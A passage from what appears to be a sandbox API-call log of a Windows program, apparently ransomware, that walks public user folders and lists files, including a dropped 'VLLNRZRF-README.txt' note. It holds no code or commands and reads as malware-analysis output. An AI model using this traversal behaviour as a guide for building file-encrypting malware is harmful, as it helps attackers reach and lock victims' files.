ftLastAccessTime.dwLowDateTime=0xb0a09a40, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb0a09a40, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1 [0123.423] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c87e750 | out: lpFindFileData=0x1c87e750*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x286e4016, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x286e4016, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0123.423] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c87e750 | out: lpFindFileData=0x1c87e750*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1 [0123.423] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c87e750 | out: lpFindFileData=0x1c87e750*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28351f0f, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Downloads", cAlternateFileName="DOWNLO~1")) returned 1 [0123.423] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c87e750 | out: lpFindFileData=0x1c87e750*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdae6622, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xaee7d305, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Favorites", cAlternateFileName="FAVORI~1")) returned 1 [0123.424] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c87e750 | out: lpFindFileData=0x1c87e750*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28a29e5c, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a29e5c, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Libraries", cAlternateFileName="LIBRAR~1")) returned 1 [0123.424] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c87e750 | out: lpFindFileData=0x1c87e750*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28305c4e, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Music", cAlternateFileName="")) returned 1 [0123.424] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c87e750 | out: lpFindFileData=0x1c87e750*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pictures", cAlternateFileName="")) returned 1 [0123.424] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c87e750 | out: lpFindFileData=0x1c87e750*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Recorded TV", cAlternateFileName="RECORD~1")) returned 1 [0123.424] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c87e750 | out: lpFindFileData=0x1c87e750*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28886f39, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 1 [0123.424] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c87e750 | out: lpFindFileData=0x1c87e750*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb98e48d0, ftCreationTime.dwHighDateTime=0x1d60166, ftLastAccessTime.dwLowDateTime=0xb98e48d0, ftLastAccessTime.dwHighDateTime=0x1d60166, ftLastWriteTime.dwLowDateTime=0xb98e48d0, ftLastWriteTime.dwHighDateTime=0x1d60166, nFileSizeHigh=0x0, nFileSizeLow=0x5f3, dwReserved0=0x0, dwReserved1=0x0, cFileName="VLLNRZRF-README.txt", cAlternateFileName="VLLNRZ~1.TXT")) returned 1 [0123.424] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c87e750 | out: lpFindFileData=0x1c87e750*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0123.425] FindClose (in: hFindFile=0x1a5787e0 | out: hFindFile=0x1a5787e0) returned 1 [0123.425] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c87e9b0) returned 1 [0123.425] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c87e970) returned 1 [0123.426] CoUninitialize () Thread: id = 117 os_tid = 0xaf4 [0123.433] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0123.435] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Desktop", nBufferLength=0x105, lpBuffer=0x1c89e5e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Desktop", lpFilePart=0x0) returned 0x17 [0123.435] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c89ea40) returned 1 [0123.435] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Desktop", nBufferLength=0x105, lpBuffer=0x1c89e530, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Desktop", lpFilePart=0x0) returned 0x17 [0123.435] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Desktop\\", nBufferLength=0x105, lpBuffer=0x1c89e4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Desktop\\", lpFilePart=0x0) returned 0x18 [0123.436] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Desktop\\*.*", lpFindFileData=0x1c89e6e0 | out: lpFindFileData=0x1c89e6e0*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb0a09a40, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb0a09a40, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a5787e0 [0123.436] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c89e730 | out: lpFindFileData=0x1c89e730*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb0a09a40, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb0a09a40, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0123.436] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c89e730 | out: lpFindFileData=0x1c89e730*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83c279c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x83c279c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x83c4db20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x7e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe Reader X.lnk", cAlternateFileName="ADOBER~1.LNK")) returned 1 [0123.437] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c89e730 | out: lpFindFileData=0x1c89e730*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2826d6cd, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x2826d6cd, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28860dd8, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0123.437] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c89e730 | out: lpFindFileData=0x1c89e730*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7df21ca0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7df21ca0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7df21ca0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x8d1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Google Chrome.lnk", cAlternateFileName="GOOGLE~1.LNK")) returned 1 [0123.437] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c89e730 | out: lpFindFileData=0x1c89e730*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0a09a40, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb0a09a40, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb0a09a40, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x485, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mozilla Firefox.lnk", cAlternateFileName="MOZILL~1.LNK")) returned 1 [0123.437] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c89e730 | out: lpFindFileData=0x1c89e730*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0123.437] FindClose (in: hFindFile=0x1a5787e0 | out: hFindFile=0x1a5787e0) returned 1 [0123.437] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c89e990) returned 1 [0123.437] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c89e950) returned 1 [0123.444] CoUninitialize () Thread: id = 118 os_tid = 0xb68 [0123.449] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0123.450] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents", nBufferLength=0x105, lpBuffer=0x1c87e360, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents", lpFilePart=0x0) returned 0x19 [0123.450] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c87e7c0) returned 1 [0123.450] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents", nBufferLength=0x105, lpBuffer=0x1c87e2b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents", lpFilePart=0x0) returned 0x19 [0123.450] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents\\", nBufferLength=0x105, lpBuffer=0x1c87e250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents\\", lpFilePart=0x0) returned 0x1a [0123.450] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Documents\\*.*", lpFindFileData=0x1c87e460 | out: lpFindFileData=0x1c87e460*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a5787e0 [0123.451] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c87e4b0 | out: lpFindFileData=0x1c87e4b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0123.451] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c87e4b0 | out: lpFindFileData=0x1c87e4b0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28697d55, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x28697d55, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x116, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0123.451] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c87e4b0 | out: lpFindFileData=0x1c87e4b0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3079b513, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Music", cAlternateFileName="MYMUSI~1")) returned 1 [0123.451] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c87e4b0 | out: lpFindFileData=0x1c87e4b0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3079b513, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Pictures", cAlternateFileName="MYPICT~1")) returned 1 [0123.451] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c87e4b0 | out: lpFindFileData=0x1c87e4b0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3079b513, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 1 [0123.452] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c87e4b0 | out: lpFindFileData=0x1c87e4b0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3079b513, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 0 [0123.476] FindClose (in: hFindFile=0x1a5787e0 | out: hFindFile=0x1a5787e0) returned 1 [0123.476] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c87e710) returned 1 [0123.476] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c87e6d0) returned 1 [0123.478] CoUninitialize () Thread: id = 119 os_tid = 0x6a8 [0123.483] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0123.483] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents\\My Music", nBufferLength=0x105, lpBuffer=0x1c85e540, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents\\My Music", lpFilePart=0x0) returned 0x22 [0123.483] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c85e9a0) returned 1 [0123.484] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents\\My Music", nBufferLength=0x105, lpBuffer=0x1c85e490, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents\\My Music", lpFilePart=0x0) returned 0x22 [0123.484] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents\\My Music\\", nBufferLength=0x105, lpBuffer=0x1c85e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents\\My Music\\", lpFilePart=0x0) returned 0x23 [0123.484] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Documents\\My Music\\*.*", lpFindFileData=0x1c85e640 | out: lpFindFileData=0x1c85e640*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0123.484] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c85e8d0) returned 1 [0123.491] CoUninitialize () Thread: id = 120 os_tid = 0xae4 [0123.706] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0123.707] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents\\My Pictures", nBufferLength=0x105, lpBuffer=0x1c89e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents\\My Pictures", lpFilePart=0x0) returned 0x25 [0123.707] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c89e980) returned 1 [0123.708] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents\\My Pictures", nBufferLength=0x105, lpBuffer=0x1c89e470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents\\My Pictures", lpFilePart=0x0) returned 0x25 [0123.708] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents\\My Pictures\\", nBufferLength=0x105, lpBuffer=0x1c89e410, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents\\My Pictures\\", lpFilePart=0x0) returned 0x26 [0123.708] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Documents\\My Pictures\\*.*", lpFindFileData=0x1c89e620 | out: lpFindFileData=0x1c89e620*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0123.708] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c89e8b0) returned 1 [0123.715] CoUninitialize () Thread: id = 121 os_tid = 0x5b0 [0123.720] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0123.720] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents\\My Videos", nBufferLength=0x105, lpBuffer=0x1c8de600, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents\\My Videos", lpFilePart=0x0) returned 0x23 [0123.720] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c8dea60) returned 1 [0123.720] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents\\My Videos", nBufferLength=0x105, lpBuffer=0x1c8de550, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents\\My Videos", lpFilePart=0x0) returned 0x23 [0123.721] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents\\My Videos\\", nBufferLength=0x105, lpBuffer=0x1c8de4f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents\\My Videos\\", lpFilePart=0x0) returned 0x24 [0123.721] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Documents\\My Videos\\*.*", lpFindFileData=0x1c8de700 | out: lpFindFileData=0x1c8de700*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0123.721] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c8de990) returned 1 [0123.727] CoUninitialize () Thread: id = 122 os_tid = 0x330 [0123.732] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0123.732] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Downloads", nBufferLength=0x105, lpBuffer=0x1c08e2a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Downloads", lpFilePart=0x0) returned 0x19 [0123.732] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c08e700) returned 1 [0123.732] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Downloads", nBufferLength=0x105, lpBuffer=0x1c08e1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Downloads", lpFilePart=0x0) returned 0x19 [0123.732] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Downloads\\", nBufferLength=0x105, lpBuffer=0x1c08e190, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Downloads\\", lpFilePart=0x0) returned 0x1a [0123.732] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Downloads\\*.*", lpFindFileData=0x1c08e3a0 | out: lpFindFileData=0x1c08e3a0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28351f0f, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a5787e0 [0123.733] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c08e3f0 | out: lpFindFileData=0x1c08e3f0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28351f0f, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0123.733] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c08e3f0 | out: lpFindFileData=0x1c08e3f0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28351f0f, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x28351f0f, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0123.733] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c08e3f0 | out: lpFindFileData=0x1c08e3f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0123.733] FindClose (in: hFindFile=0x1a5787e0 | out: hFindFile=0x1a5787e0) returned 1 [0123.733] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c08e650) returned 1 [0123.733] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c08e610) returned 1 [0123.738] CoUninitialize () Thread: id = 123 os_tid = 0x344 [0123.742] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0123.743] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Favorites", nBufferLength=0x105, lpBuffer=0x1c91e380, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Favorites", lpFilePart=0x0) returned 0x19 [0123.743] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c91e7e0) returned 1 [0123.743] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Favorites", nBufferLength=0x105, lpBuffer=0x1c91e2d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Favorites", lpFilePart=0x0) returned 0x19 [0123.743] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Favorites\\", nBufferLength=0x105, lpBuffer=0x1c91e270, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Favorites\\", lpFilePart=0x0) returned 0x1a [0123.743] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Favorites\\*.*", lpFindFileData=0x1c91e480 | out: lpFindFileData=0x1c91e480*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdae6622, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xaee7d305, ftLastWriteTime.dwHighDateTime=0x1ca042b, 